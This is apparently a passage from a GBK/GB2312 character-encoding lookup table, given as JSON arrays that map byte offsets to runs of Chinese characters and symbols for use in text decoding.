["8f80","弨弫弬弮弰弲",6,"弻弽弾弿彁",14,"彑彔彙彚彛彜彞彟彠彣彥彧彨彫彮彯彲彴彵彶彸彺彽彾彿徃徆徍徎徏徑従徔徖徚徛徝從徟徠徢",5,"復徫徬徯",5,"徶徸徹徺徻徾",4,"忇忈忊忋忎忓忔忕忚忛応忞忟忢忣忥忦忨忩忬忯忰忲忳忴忶忷忹忺忼怇"],
["9040","怈怉怋怌怐怑怓怗怘怚怞怟怢怣怤怬怭怮怰",4,"怶",4,"怽怾恀恄",6,"恌恎恏恑恓恔恖恗恘恛恜恞恟恠恡恥恦恮恱恲恴恵恷恾悀"],
["9080","悁悂悅悆悇悈悊悋悎悏悐悑悓悕悗悘悙悜悞悡悢悤悥悧悩悪悮悰悳悵悶悷悹悺悽",7,"惇惈惉惌",4,"惒惓惔惖惗惙惛惞惡",4,"惪惱惲惵惷惸惻",4,"愂愃愄愅愇愊愋愌愐",4,"愖愗愘愙愛愜愝愞愡愢愥愨愩愪愬",18,"慀",6],
["9140","慇慉態慍慏慐慒慓慔慖",6,"慞慟慠慡慣慤慥慦慩",6,"慱慲慳慴慶慸",18,"憌憍憏",4,"憕"],
["9180","憖",6,"憞",8,"憪憫憭",9,"憸",5,"憿懀懁懃",4,"應懌",4,"懓懕",16,"懧",13,"懶",8,"戀",5,"戇戉戓戔戙戜戝戞戠戣戦戧戨戩戫戭戯戰戱戲戵戶戸",4,"扂扄扅扆扊"],
["9240","扏扐払扖扗扙扚扜",6,"扤扥扨扱扲扴扵扷扸扺扻扽抁抂抃抅抆抇抈抋",5,"抔抙抜抝択抣抦抧抩抪抭抮抯抰抲抳抴抶抷抸抺抾拀拁"],
["9280","拃拋拏拑拕拝拞拠拡拤拪拫拰拲拵拸拹拺拻挀挃挄挅挆挊挋挌挍挏挐挒挓挔挕挗挘挙挜挦挧挩挬挭挮挰挱挳",5,"挻挼挾挿捀捁捄捇捈捊捑捒捓捔捖",7,"捠捤捥捦捨捪捫捬捯捰捲捳捴捵捸捹捼捽捾捿掁掃掄掅掆掋掍掑掓掔掕掗掙",6,"採掤掦掫掯掱掲掵掶掹掻掽掿揀"],
["9340","揁揂揃揅揇揈揊揋揌揑揓揔揕揗",6,"揟揢揤",4,"揫揬揮揯揰揱揳揵揷揹揺揻揼揾搃搄搆",4,"損搎搑搒搕",5,"搝搟搢搣搤"],
["9380","搥搧搨搩搫搮",5,"搵",4,"搻搼搾摀摂摃摉摋",6,"摓摕摖摗摙",4,"摟",7,"摨摪摫摬摮",9,"摻",6,"撃撆撈",8,"撓撔撗撘撚撛撜撝撟",4,"撥撦撧撨撪撫撯撱撲撳撴撶撹撻撽撾撿擁擃擄擆",6,"擏擑擓擔擕擖擙據"],
["9440","擛擜擝擟擠擡擣擥擧",24,"攁",7,"攊",7,"攓",4,"攙",8],
["9480","攢攣攤攦",4,"攬攭攰攱攲攳攷攺攼攽敀",4,"敆敇敊敋敍敎敐敒敓敔敗敘敚敜敟敠敡敤敥敧敨敩敪敭敮敯敱敳敵敶數",14,"斈斉斊斍斎斏斒斔斕斖斘斚斝斞斠斢斣斦斨斪斬斮斱",7,"斺斻斾斿旀旂旇旈旉旊旍旐旑旓旔旕旘",7,"旡旣旤旪旫"],
["9540","旲旳旴旵旸旹旻",4,"昁昄昅昇昈昉昋昍昐昑昒昖昗昘昚昛昜昞昡昢昣昤昦昩昪昫昬昮昰昲昳昷",4,"昽昿晀時晄",6,"晍晎晐晑晘"],
["9580","晙晛晜晝晞晠晢晣晥晧晩",4,"晱晲晳晵晸晹晻晼晽晿暀暁暃暅暆暈暉暊暋暍暎暏暐暒暓暔暕暘",4,"暞",8,"暩",4,"暯",4,"暵暶暷暸暺暻暼暽暿",25,"曚曞",7,"曧曨曪",5,"曱曵曶書曺曻曽朁朂會"],
["9640","朄朅朆朇朌朎朏朑朒朓朖朘朙朚朜朞朠",5,"朧朩朮朰朲朳朶朷朸朹朻朼朾朿杁杄杅杇杊杋杍杒杔杕杗",4,"杝杢杣杤杦杧杫杬杮東杴杶"],
["9680","杸杹杺杻杽枀枂枃枅枆枈枊枌枍枎枏枑枒枓枔枖枙枛枟枠枡枤枦枩枬枮枱枲枴枹",7,"柂柅",9,"柕柖柗柛柟柡柣柤柦柧柨柪柫柭柮柲柵",7,"柾栁栂栃栄栆栍栐栒栔栕栘",4,"栞栟栠栢",6,"栫",6,"栴栵栶栺栻栿桇桋桍桏桒桖",5],
["9740","桜桝桞桟桪桬",7,"桵桸",8,"梂梄梇",7,"梐梑梒梔梕梖梘",9,"梣梤梥梩梪梫梬梮梱梲梴梶梷梸"],
["9780","梹",6,"棁棃",5,"棊棌棎棏棐棑棓棔棖棗棙棛",4,"棡棢棤",9,"棯棲棳棴棶棷棸棻棽棾棿椀椂椃椄椆",4,"椌椏椑椓",11,"椡椢椣椥",7,"椮椯椱椲椳椵椶椷椸椺椻椼椾楀楁楃",16,"楕楖楘楙楛楜楟"],
["9840","楡楢楤楥楧楨楩楪楬業楯楰楲",4,"楺楻楽楾楿榁榃榅榊榋榌榎",5,"榖榗榙榚榝",9,"榩榪榬榮榯榰榲榳榵榶榸榹榺榼榽"],
["9880","榾榿槀槂",7,"構槍槏槑槒槓槕",5,"槜槝槞槡",11,"槮槯槰槱槳",9,"槾樀",9,"樋",11,"標",5,"樠樢",5,"権樫樬樭樮樰樲樳樴樶",6,"樿",4,"橅橆橈",7,"橑",6,"橚"],
["9940","橜",4,"橢橣橤橦",10,"橲",6,"橺橻橽橾橿檁檂檃檅",8,"檏檒",4,"檘",7,"檡",5],
["9980","檧檨檪檭",114,"欥欦欨",6],
["9a40","欯欰欱欳欴欵欶欸欻欼欽欿歀歁歂歄歅歈歊歋歍",11,"歚",7,"歨歩歫",13,"歺歽歾歿殀殅殈"],
["9a80","殌殎殏殐殑殔殕殗殘殙殜",4,"殢",7,"殫",7,"殶殸",6,"毀毃毄毆",4,"毌毎毐毑毘毚毜",4,"毢",7,"毬毭毮毰毱毲毴毶毷毸毺毻毼毾",6,"氈",4,"氎氒気氜氝氞氠氣氥氫氬氭氱氳氶氷氹氺氻氼氾氿汃汄汅汈汋",4,"汑汒汓汖汘"],
["9b40","汙汚汢汣汥汦汧汫",4,"汱汳汵汷汸決汻汼汿沀沄沇沊沋沍沎沑沒沕沖沗沘沚沜沝沞沠沢沨沬沯沰沴沵沶沷沺泀況泂泃泆泇泈泋泍泎泏泑泒泘"],
["9b80","泙泚泜泝泟泤泦泧泩泬泭泲泴泹泿洀洂洃洅洆洈洉洊洍洏洐洑洓洔洕洖洘洜洝洟",5,"洦洨洩洬洭洯洰洴洶洷洸洺洿浀浂浄浉浌浐浕浖浗浘浛浝浟浡浢浤浥浧浨浫浬浭浰浱浲浳浵浶浹浺浻浽",4,"涃涄涆涇涊涋涍涏涐涒涖",4,"涜涢涥涬涭涰涱涳涴涶涷涹",5,"淁淂淃淈淉淊"],
["9c40","淍淎淏淐淒淓淔淕淗淚淛淜淟淢淣淥淧淨淩淪淭淯淰淲淴淵淶淸淺淽",7,"渆渇済渉渋渏渒渓渕渘渙減渜渞渟渢渦渧渨渪測渮渰渱渳渵"],
["9c80","渶渷渹渻",7,"湅",7,"湏湐湑湒湕湗湙湚湜湝湞湠",10,"湬湭湯",14,"満溁溂溄溇溈溊",4,"溑",6,"溙溚溛溝溞溠溡溣溤溦溨溩溫溬溭溮溰溳溵溸溹溼溾溿滀滃滄滅滆滈滉滊滌滍滎滐滒滖滘滙滛滜滝滣滧滪",5],
["9d40","滰滱滲滳滵滶滷滸滺",7,"漃漄漅漇漈漊",4,"漐漑漒漖",9,"漡漢漣漥漦漧漨漬漮漰漲漴漵漷",6,"漿潀潁潂"],
["9d80","潃潄潅潈潉潊潌潎",9,"潙潚潛潝潟潠潡潣潤潥潧",5,"潯潰潱潳潵潶潷潹潻潽",6,"澅澆澇澊澋澏",12,"澝澞澟澠澢",4,"澨",10,"澴澵澷澸澺",5,"濁濃",5,"濊",6,"濓",10,"濟濢濣濤濥"],
["9e40","濦",7,"濰",32,"瀒",7,"瀜",6,"瀤",6],
["9e80","瀫",9,"瀶瀷瀸瀺",17,"灍灎灐",13,"灟",11,"灮灱灲灳灴灷灹灺灻災炁炂炃炄炆炇炈炋炌炍炏炐炑炓炗炘炚炛炞",12,"炰炲炴炵炶為炾炿烄烅烆烇烉烋",12,"烚"],
["9f40","烜烝烞烠烡烢烣烥烪烮烰",6,"烸烺烻烼烾",10,"焋",4,"焑焒焔焗焛",10,"焧",7,"焲焳焴"],
["9f80","焵焷",13,"煆煇煈煉煋煍煏",12,"煝煟",4,"煥煩",4,"煯煰煱煴煵煶煷煹煻煼煾",5,"熅",4,"熋熌熍熎熐熑熒熓熕熖熗熚",4,"熡",6,"熩熪熫熭",5,"熴熶熷熸熺",8,"燄",9,"燏",4],
["a040","燖",9,"燡燢燣燤燦燨",5,"燯",9,"燺",11,"爇",19],
["a080","爛爜爞",9,"爩爫爭爮爯爲爳爴爺爼爾牀",6,"牉牊牋牎牏牐牑牓牔牕牗牘牚牜牞牠牣牤牥牨牪牫牬牭牰牱牳牴牶牷牸牻牼牽犂犃犅",4,"犌犎犐犑犓",11,"犠",11,"犮犱犲犳犵犺",6,"狅狆狇狉狊狋狌狏狑狓狔狕狖狘狚狛"],
["a1a1"," 、。·ˉˇ¨〃々—~‖…‘’“”〔〕〈",7,"〖〗【】±×÷∶∧∨∑∏∪∩∈∷√⊥∥∠⌒⊙∫∮≡≌≈∽∝≠≮≯≤≥∞∵∴♂♀°′″℃$¤¢£‰§№☆★○●◎◇◆□■△▲※→←↑↓〓"],
["a2a1","ⅰ",9],
["a2b1","⒈",19,"⑴",19,"①",9],
["a2e5","㈠",9],
["a2f1","Ⅰ",11],
["a3a1","!"#¥%",88," ̄"],
["a4a1","ぁ",82],
["a5a1","ァ",85],
["a6a1","Α",16,"Σ",6],
["a6c1","α",16,"σ",6],
["a6e0","︵︶︹︺︿﹀︽︾﹁﹂﹃﹄"],
["a6ee","︻︼︷︸︱"],
["a6f4","︳︴"],
["a7a1","А",5,"ЁЖ",25],
["a7d1","а",5,"ёж",25],
["a840","ˊˋ˙–―‥‵℅℉↖↗↘↙∕∟∣≒≦≧⊿═",35,"▁",6],
["a880","█",7,"▓▔▕▼▽◢◣◤◥☉⊕〒〝〞"],
["a8a1","āáǎàēéěèīíǐìōóǒòūúǔùǖǘǚǜüêɑ"],
["a8bd","ńň"],
["a8c0","ɡ"],
["a8c5","ㄅ",36],
["a940","〡",8,"㊣㎎㎏㎜㎝㎞㎡㏄㏎㏑㏒㏕︰¬¦"],
["a959","℡㈱"],
["a95c","‐"],
["a960","ー゛゜ヽヾ〆ゝゞ﹉",9,"﹔﹕﹖﹗﹙",8],
["a980","﹢",4,"﹨﹩﹪﹫"],
["a996","〇"],
["a9a4","─",75],
["aa40","狜狝狟狢",5,"狪狫狵狶狹狽狾狿猀猂猄",5,"猋猌猍猏猐猑猒猔猘猙猚猟猠猣猤猦猧猨猭猯猰猲猳猵猶猺猻猼猽獀",8],
["aa80","獉獊獋獌獎獏獑獓獔獕獖獘",7,"獡",10,"獮獰獱"],
["ab40","獲",11,"獿",4,"玅玆玈玊玌玍玏玐玒玓玔玕玗玘玙玚玜玝玞玠玡玣",5,"玪玬玭玱玴玵玶玸玹玼玽玾玿珁珃",4],
["ab80","珋珌珎珒",6,"珚珛珜珝珟珡珢珣珤珦珨珪珫珬珮珯珰珱珳",4],
["ac40","珸",10,"琄琇琈琋琌琍琎琑",8,"琜",5,"琣琤琧琩琫琭琯琱琲琷",4,"琽琾琿瑀瑂",11],
["ac80","瑎",6,"瑖瑘瑝瑠",12,"瑮瑯瑱",4,"瑸瑹瑺"],
["ad40","瑻瑼瑽瑿璂璄璅璆璈璉璊璌璍璏璑",10,"璝璟",7,"璪",15,"璻",12],
["ad80","瓈",9,"瓓",8,"瓝瓟瓡瓥瓧",6,"瓰瓱瓲"],
["ae40","瓳瓵瓸",6,"甀甁甂甃甅",7,"甎甐甒甔甕甖甗甛甝甞甠",4,"甦甧甪甮甴甶甹甼甽甿畁畂畃畄畆畇畉畊畍畐畑畒畓畕畖畗畘"],
["ae80","畝",7,"畧畨畩畫",6,"畳畵當畷畺",4,"疀疁疂疄疅疇"],
["af40","疈疉疊疌疍疎疐疓疕疘疛疜疞疢疦",4,"疭疶疷疺疻疿痀痁痆痋痌痎痏痐痑痓痗痙痚痜痝痟痠痡痥痩痬痭痮痯痲痳痵痶痷痸痺痻痽痾瘂瘄瘆瘇"],
["af80","瘈瘉瘋瘍瘎瘏瘑瘒瘓瘔瘖瘚瘜瘝瘞瘡瘣瘧瘨瘬瘮瘯瘱瘲瘶瘷瘹瘺瘻瘽癁療癄"],
["b040","癅",6,"癎",5,"癕癗",4,"癝癟癠癡癢癤",6,"癬癭癮癰",7,"癹発發癿皀皁皃皅皉皊皌皍皏皐皒皔皕皗皘皚皛"],
["b080","皜",7,"皥",8,"皯皰皳皵",9,"盀盁盃啊阿埃挨哎唉哀皑癌蔼矮艾碍爱隘鞍氨安俺按暗岸胺案肮昂盎凹敖熬翱袄傲奥懊澳芭捌扒叭吧笆八疤巴拔跋靶把耙坝霸罢爸白柏百摆佰败拜稗斑班搬扳般颁板版扮拌伴瓣半办绊邦帮梆榜膀绑棒磅蚌镑傍谤苞胞包褒剥"],
["b140","盄盇盉盋盌盓盕盙盚盜盝盞盠",4,"盦",7,"盰盳盵盶盷盺盻盽盿眀眂眃眅眆眊県眎",10,"眛眜眝眞眡眣眤眥眧眪眫"],
["b180","眬眮眰",4,"眹眻眽眾眿睂睄睅睆睈",7,"睒",7,"睜薄雹保堡饱宝抱报暴豹鲍爆杯碑悲卑北辈背贝钡倍狈备惫焙被奔苯本笨崩绷甭泵蹦迸逼鼻比鄙笔彼碧蓖蔽毕毙毖币庇痹闭敝弊必辟壁臂避陛鞭边编贬扁便变卞辨辩辫遍标彪膘表鳖憋别瘪彬斌濒滨宾摈兵冰柄丙秉饼炳"],
["b240","睝睞睟睠睤睧睩睪睭",11,"睺睻睼瞁瞂瞃瞆",5,"瞏瞐瞓",11,"瞡瞣瞤瞦瞨瞫瞭瞮瞯瞱瞲瞴瞶",4],
["b280","瞼瞾矀",12,"矎",8,"矘矙矚矝",4,"矤病并玻菠播拨钵波博勃搏铂箔伯帛舶脖膊渤泊驳捕卜哺补埠不布步簿部怖擦猜裁材才财睬踩采彩菜蔡餐参蚕残惭惨灿苍舱仓沧藏操糙槽曹草厕策侧册测层蹭插叉茬茶查碴搽察岔差诧拆柴豺搀掺蝉馋谗缠铲产阐颤昌猖"],
["b340","矦矨矪矯矰矱矲矴矵矷矹矺矻矼砃",5,"砊砋砎砏砐砓砕砙砛砞砠砡砢砤砨砪砫砮砯砱砲砳砵砶砽砿硁硂硃硄硆硈硉硊硋硍硏硑硓硔硘硙硚"],
["b380","硛硜硞",11,"硯",7,"硸硹硺硻硽",6,"场尝常长偿肠厂敞畅唱倡超抄钞朝嘲潮巢吵炒车扯撤掣彻澈郴臣辰尘晨忱沉陈趁衬撑称城橙成呈乘程惩澄诚承逞骋秤吃痴持匙池迟弛驰耻齿侈尺赤翅斥炽充冲虫崇宠抽酬畴踌稠愁筹仇绸瞅丑臭初出橱厨躇锄雏滁除楚"],
["b440","碄碅碆碈碊碋碏碐碒碔碕碖碙碝碞碠碢碤碦碨",7,"碵碶碷碸確碻碼碽碿磀磂磃磄磆磇磈磌磍磎磏磑磒磓磖磗磘磚",9],
["b480","磤磥磦磧磩磪磫磭",4,"磳磵磶磸磹磻",5,"礂礃礄礆",6,"础储矗搐触处揣川穿椽传船喘串疮窗幢床闯创吹炊捶锤垂春椿醇唇淳纯蠢戳绰疵茨磁雌辞慈瓷词此刺赐次聪葱囱匆从丛凑粗醋簇促蹿篡窜摧崔催脆瘁粹淬翠村存寸磋撮搓措挫错搭达答瘩打大呆歹傣戴带殆代贷袋待逮"],
["b540","礍",5,"礔",9,"礟",4,"礥",14,"礵",4,"礽礿祂祃祄祅祇祊",8,"祔祕祘祙祡祣"],
["b580","祤祦祩祪祫祬祮祰",6,"祹祻",4,"禂禃禆禇禈禉禋禌禍禎禐禑禒怠耽担丹单郸掸胆旦氮但惮淡诞弹蛋当挡党荡档刀捣蹈倒岛祷导到稻悼道盗德得的蹬灯登等瞪凳邓堤低滴迪敌笛狄涤翟嫡抵底地蒂第帝弟递缔颠掂滇碘点典靛垫电佃甸店惦奠淀殿碉叼雕凋刁掉吊钓调跌爹碟蝶迭谍叠"],
["b640","禓",6,"禛",11,"禨",10,"禴",4,"禼禿秂秄秅秇秈秊秌秎秏秐秓秔秖秗秙",5,"秠秡秢秥秨秪"],
["b680","秬秮秱",6,"秹秺秼秾秿稁稄稅稇稈稉稊稌稏",4,"稕稖稘稙稛稜丁盯叮钉顶鼎锭定订丢东冬董懂动栋侗恫冻洞兜抖斗陡豆逗痘都督毒犊独读堵睹赌杜镀肚度渡妒端短锻段断缎堆兑队对墩吨蹲敦顿囤钝盾遁掇哆多夺垛躲朵跺舵剁惰堕蛾峨鹅俄额讹娥恶厄扼遏鄂饿恩而儿耳尔饵洱二"],
["b740","稝稟稡稢稤",14,"稴稵稶稸稺稾穀",5,"穇",9,"穒",4,"穘",16],
["b780","穩",6,"穱穲穳穵穻穼穽穾窂窅窇窉窊窋窌窎窏窐窓窔窙窚窛窞窡窢贰发罚筏伐乏阀法珐藩帆番翻樊矾钒繁凡烦反返范贩犯饭泛坊芳方肪房防妨仿访纺放菲非啡飞肥匪诽吠肺废沸费芬酚吩氛分纷坟焚汾粉奋份忿愤粪丰封枫蜂峰锋风疯烽逢冯缝讽奉凤佛否夫敷肤孵扶拂辐幅氟符伏俘服"],
["b840","窣窤窧窩窪窫窮",4,"窴",10,"竀",10,"竌",9,"竗竘竚竛竜竝竡竢竤竧",5,"竮竰竱竲竳"],
["b880","竴",4,"竻竼竾笀笁笂笅笇笉笌笍笎笐笒笓笖笗笘笚笜笝笟笡笢笣笧笩笭浮涪福袱弗甫抚辅俯釜斧脯腑府腐赴副覆赋复傅付阜父腹负富讣附妇缚咐噶嘎该改概钙盖溉干甘杆柑竿肝赶感秆敢赣冈刚钢缸肛纲岗港杠篙皋高膏羔糕搞镐稿告哥歌搁戈鸽胳疙割革葛格蛤阁隔铬个各给根跟耕更庚羹"],
["b940","笯笰笲笴笵笶笷笹笻笽笿",5,"筆筈筊筍筎筓筕筗筙筜筞筟筡筣",10,"筯筰筳筴筶筸筺筼筽筿箁箂箃箄箆",6,"箎箏"],
["b980","箑箒箓箖箘箙箚箛箞箟箠箣箤箥箮箯箰箲箳箵箶箷箹",7,"篂篃範埂耿梗工攻功恭龚供躬公宫弓巩汞拱贡共钩勾沟苟狗垢构购够辜菇咕箍估沽孤姑鼓古蛊骨谷股故顾固雇刮瓜剐寡挂褂乖拐怪棺关官冠观管馆罐惯灌贯光广逛瑰规圭硅归龟闺轨鬼诡癸桂柜跪贵刽辊滚棍锅郭国果裹过哈"],
["ba40","篅篈築篊篋篍篎篏篐篒篔",4,"篛篜篞篟篠篢篣篤篧篨篩篫篬篭篯篰篲",4,"篸篹篺篻篽篿",7,"簈簉簊簍簎簐",5,"簗簘簙"],
["ba80","簚",4,"簠",5,"簨簩簫",12,"簹",5,"籂骸孩海氦亥害骇酣憨邯韩含涵寒函喊罕翰撼捍旱憾悍焊汗汉夯杭航壕嚎豪毫郝好耗号浩呵喝荷菏核禾和何合盒貉阂河涸赫褐鹤贺嘿黑痕很狠恨哼亨横衡恒轰哄烘虹鸿洪宏弘红喉侯猴吼厚候后呼乎忽瑚壶葫胡蝴狐糊湖"],
["bb40","籃",9,"籎",36,"籵",5,"籾",9],
["bb80","粈粊",6,"粓粔粖粙粚粛粠粡粣粦粧粨粩粫粬粭粯粰粴",4,"粺粻弧虎唬护互沪户花哗华猾滑画划化话槐徊怀淮坏欢环桓还缓换患唤痪豢焕涣宦幻荒慌黄磺蝗簧皇凰惶煌晃幌恍谎灰挥辉徽恢蛔回毁悔慧卉惠晦贿秽会烩汇讳诲绘荤昏婚魂浑混豁活伙火获或惑霍货祸击圾基机畸稽积箕"],
["bc40","粿糀糂糃糄糆糉糋糎",6,"糘糚糛糝糞糡",6,"糩",5,"糰",7,"糹糺糼",13,"紋",5],
["bc80","紑",14,"紡紣紤紥紦紨紩紪紬紭紮細",6,"肌饥迹激讥鸡姬绩缉吉极棘辑籍集及急疾汲即嫉级挤几脊己蓟技冀季伎祭剂悸济寄寂计记既忌际妓继纪嘉枷夹佳家加荚颊贾甲钾假稼价架驾嫁歼监坚尖笺间煎兼肩艰奸缄茧检柬碱硷拣捡简俭剪减荐槛鉴践贱见键箭件"],
["bd40","紷",54,"絯",7],
["bd80","絸",32,"健舰剑饯渐溅涧建僵姜将浆江疆蒋桨奖讲匠酱降蕉椒礁焦胶交郊浇骄娇嚼搅铰矫侥脚狡角饺缴绞剿教酵轿较叫窖揭接皆秸街阶截劫节桔杰捷睫竭洁结解姐戒藉芥界借介疥诫届巾筋斤金今津襟紧锦仅谨进靳晋禁近烬浸"],
["be40","継",12,"綧",6,"綯",42],
["be80","線",32,"尽劲荆兢茎睛晶鲸京惊精粳经井警景颈静境敬镜径痉靖竟竞净炯窘揪究纠玖韭久灸九酒厩救旧臼舅咎就疚鞠拘狙疽居驹菊局咀矩举沮聚拒据巨具距踞锯俱句惧炬剧捐鹃娟倦眷卷绢撅攫抉掘倔爵觉决诀绝均菌钧军君峻"],
["bf40","緻",62],
["bf80","縺縼",4,"繂",4,"繈",21,"俊竣浚郡骏喀咖卡咯开揩楷凯慨刊堪勘坎砍看康慷糠扛抗亢炕考拷烤靠坷苛柯棵磕颗科壳咳可渴克刻客课肯啃垦恳坑吭空恐孔控抠口扣寇枯哭窟苦酷库裤夸垮挎跨胯块筷侩快宽款匡筐狂框矿眶旷况亏盔岿窥葵奎魁傀"],
["c040","繞",35,"纃",23,"纜纝纞"],
["c080","纮纴纻纼绖绤绬绹缊缐缞缷缹缻",6,"罃罆",9,"罒罓馈愧溃坤昆捆困括扩廓阔垃拉喇蜡腊辣啦莱来赖蓝婪栏拦篮阑兰澜谰揽览懒缆烂滥琅榔狼廊郎朗浪捞劳牢老佬姥酪烙涝勒乐雷镭蕾磊累儡垒擂肋类泪棱楞冷厘梨犁黎篱狸离漓理李里鲤礼莉荔吏栗丽厉励砾历利傈例俐"],
["c140","罖罙罛罜罝罞罠罣",4,"罫罬罭罯罰罳罵罶罷罸罺罻罼罽罿羀羂",7,"羋羍羏",4,"羕",4,"羛羜羠羢羣羥羦羨",6,"羱"],
["c180","羳",4,"羺羻羾翀翂翃翄翆翇翈翉翋翍翏",4,"翖翗翙",5,"翢翣痢立粒沥隶力璃哩俩联莲连镰廉怜涟帘敛脸链恋炼练粮凉梁粱良两辆量晾亮谅撩聊僚疗燎寥辽潦了撂镣廖料列裂烈劣猎琳林磷霖临邻鳞淋凛赁吝拎玲菱零龄铃伶羚凌灵陵岭领另令溜琉榴硫馏留刘瘤流柳六龙聋咙笼窿"],
["c240","翤翧翨翪翫翬翭翯翲翴",6,"翽翾翿耂耇耈耉耊耎耏耑耓耚耛耝耞耟耡耣耤耫",5,"耲耴耹耺耼耾聀聁聄聅聇聈聉聎聏聐聑聓聕聖聗"],
["c280","聙聛",13,"聫",5,"聲",11,"隆垄拢陇楼娄搂篓漏陋芦卢颅庐炉掳卤虏鲁麓碌露路赂鹿潞禄录陆戮驴吕铝侣旅履屡缕虑氯律率滤绿峦挛孪滦卵乱掠略抡轮伦仑沦纶论萝螺罗逻锣箩骡裸落洛骆络妈麻玛码蚂马骂嘛吗埋买麦卖迈脉瞒馒蛮满蔓曼慢漫"],
["c340","聾肁肂肅肈肊肍",5,"肔肕肗肙肞肣肦肧肨肬肰肳肵肶肸肹肻胅胇",4,"胏",6,"胘胟胠胢胣胦胮胵胷胹胻胾胿脀脁脃脄脅脇脈脋"],
["c380","脌脕脗脙脛脜脝脟",12,"脭脮脰脳脴脵脷脹",4,"脿谩芒茫盲氓忙莽猫茅锚毛矛铆卯茂冒帽貌贸么玫枚梅酶霉煤没眉媒镁每美昧寐妹媚门闷们萌蒙檬盟锰猛梦孟眯醚靡糜迷谜弥米秘觅泌蜜密幂棉眠绵冕免勉娩缅面苗描瞄藐秒渺庙妙蔑灭民抿皿敏悯闽明螟鸣铭名命谬摸"],
["c440","腀",5,"腇腉腍腎腏腒腖腗腘腛",4,"腡腢腣腤腦腨腪腫腬腯腲腳腵腶腷腸膁膃",4,"膉膋膌膍膎膐膒",5,"膙膚膞",4,"膤膥"],
["c480","膧膩膫",7,"膴",5,"膼膽膾膿臄臅臇臈臉臋臍",6,"摹蘑模膜磨摩魔抹末莫墨默沫漠寞陌谋牟某拇牡亩姆母墓暮幕募慕木目睦牧穆拿哪呐钠那娜纳氖乃奶耐奈南男难囊挠脑恼闹淖呢馁内嫩能妮霓倪泥尼拟你匿腻逆溺蔫拈年碾撵捻念娘酿鸟尿捏聂孽啮镊镍涅您柠狞凝宁"],
["c540","臔",14,"臤臥臦臨臩臫臮",4,"臵",5,"臽臿舃與",4,"舎舏舑舓舕",5,"舝舠舤舥舦舧舩舮舲舺舼舽舿"],
["c580","艀艁艂艃艅艆艈艊艌艍艎艐",7,"艙艛艜艝艞艠",7,"艩拧泞牛扭钮纽脓浓农弄奴努怒女暖虐疟挪懦糯诺哦欧鸥殴藕呕偶沤啪趴爬帕怕琶拍排牌徘湃派攀潘盘磐盼畔判叛乓庞旁耪胖抛咆刨炮袍跑泡呸胚培裴赔陪配佩沛喷盆砰抨烹澎彭蓬棚硼篷膨朋鹏捧碰坯砒霹批披劈琵毗"],
["c640","艪艫艬艭艱艵艶艷艸艻艼芀芁芃芅芆芇芉芌芐芓芔芕芖芚芛芞芠芢芣芧芲芵芶芺芻芼芿苀苂苃苅苆苉苐苖苙苚苝苢苧苨苩苪苬苭苮苰苲苳苵苶苸"],
["c680","苺苼",4,"茊茋茍茐茒茓茖茘茙茝",9,"茩茪茮茰茲茷茻茽啤脾疲皮匹痞僻屁譬篇偏片骗飘漂瓢票撇瞥拼频贫品聘乒坪苹萍平凭瓶评屏坡泼颇婆破魄迫粕剖扑铺仆莆葡菩蒲埔朴圃普浦谱曝瀑期欺栖戚妻七凄漆柒沏其棋奇歧畦崎脐齐旗祈祁骑起岂乞企启契砌器气迄弃汽泣讫掐"],
["c740","茾茿荁荂荄荅荈荊",4,"荓荕",4,"荝荢荰",6,"荹荺荾",6,"莇莈莊莋莌莍莏莐莑莔莕莖莗莙莚莝莟莡",6,"莬莭莮"],
["c780","莯莵莻莾莿菂菃菄菆菈菉菋菍菎菐菑菒菓菕菗菙菚菛菞菢菣菤菦菧菨菫菬菭恰洽牵扦钎铅千迁签仟谦乾黔钱钳前潜遣浅谴堑嵌欠歉枪呛腔羌墙蔷强抢橇锹敲悄桥瞧乔侨巧鞘撬翘峭俏窍切茄且怯窃钦侵亲秦琴勤芹擒禽寝沁青轻氢倾卿清擎晴氰情顷请庆琼穷秋丘邱球求囚酋泅趋区蛆曲躯屈驱渠"],
["c840","菮華菳",4,"菺菻菼菾菿萀萂萅萇萈萉萊萐萒",5,"萙萚萛萞",5,"萩",7,"萲",5,"萹萺萻萾",7,"葇葈葉"],
["c880","葊",6,"葒",4,"葘葝葞葟葠葢葤",4,"葪葮葯葰葲葴葷葹葻葼取娶龋趣去圈颧权醛泉全痊拳犬券劝缺炔瘸却鹊榷确雀裙群然燃冉染瓤壤攘嚷让饶扰绕惹热壬仁人忍韧任认刃妊纫扔仍日戎茸蓉荣融熔溶容绒冗揉柔肉茹蠕儒孺如辱乳汝入褥软阮蕊瑞锐闰润若弱撒洒萨腮鳃塞赛三叁"],
["c940","葽",4,"蒃蒄蒅蒆蒊蒍蒏",7,"蒘蒚蒛蒝蒞蒟蒠蒢",12,"蒰蒱蒳蒵蒶蒷蒻蒼蒾蓀蓂蓃蓅蓆蓇蓈蓋蓌蓎蓏蓒蓔蓕蓗"],
["c980","蓘",4,"蓞蓡蓢蓤蓧",4,"蓭蓮蓯蓱",10,"蓽蓾蔀蔁蔂伞散桑嗓丧搔骚扫嫂瑟色涩森僧莎砂杀刹沙纱傻啥煞筛晒珊苫杉山删煽衫闪陕擅赡膳善汕扇缮墒伤商赏晌上尚裳梢捎稍烧芍勺韶少哨邵绍奢赊蛇舌舍赦摄射慑涉社设砷申呻伸身深娠绅神沈审婶甚肾慎渗声生甥牲升绳"],
["ca40","蔃",8,"蔍蔎蔏蔐蔒蔔蔕蔖蔘蔙蔛蔜蔝蔞蔠蔢",8,"蔭",9,"蔾",4,"蕄蕅蕆蕇蕋",10],
["ca80","蕗蕘蕚蕛蕜蕝蕟",4,"蕥蕦蕧蕩",8,"蕳蕵蕶蕷蕸蕼蕽蕿薀薁省盛剩胜圣师失狮施湿诗尸虱十石拾时什食蚀实识史矢使屎驶始式示士世柿事拭誓逝势是嗜噬适仕侍释饰氏市恃室视试收手首守寿授售受瘦兽蔬枢梳殊抒输叔舒淑疏书赎孰熟薯暑曙署蜀黍鼠属术述树束戍竖墅庶数漱"],
["cb40","薂薃薆薈",6,"薐",10,"薝",6,"薥薦薧薩薫薬薭薱",5,"薸薺",6,"藂",6,"藊",4,"藑藒"],
["cb80","藔藖",5,"藝",6,"藥藦藧藨藪",14,"恕刷耍摔衰甩帅栓拴霜双爽谁水睡税吮瞬顺舜说硕朔烁斯撕嘶思私司丝死肆寺嗣四伺似饲巳松耸怂颂送宋讼诵搜艘擞嗽苏酥俗素速粟僳塑溯宿诉肃酸蒜算虽隋随绥髓碎岁穗遂隧祟孙损笋蓑梭唆缩琐索锁所塌他它她塔"],
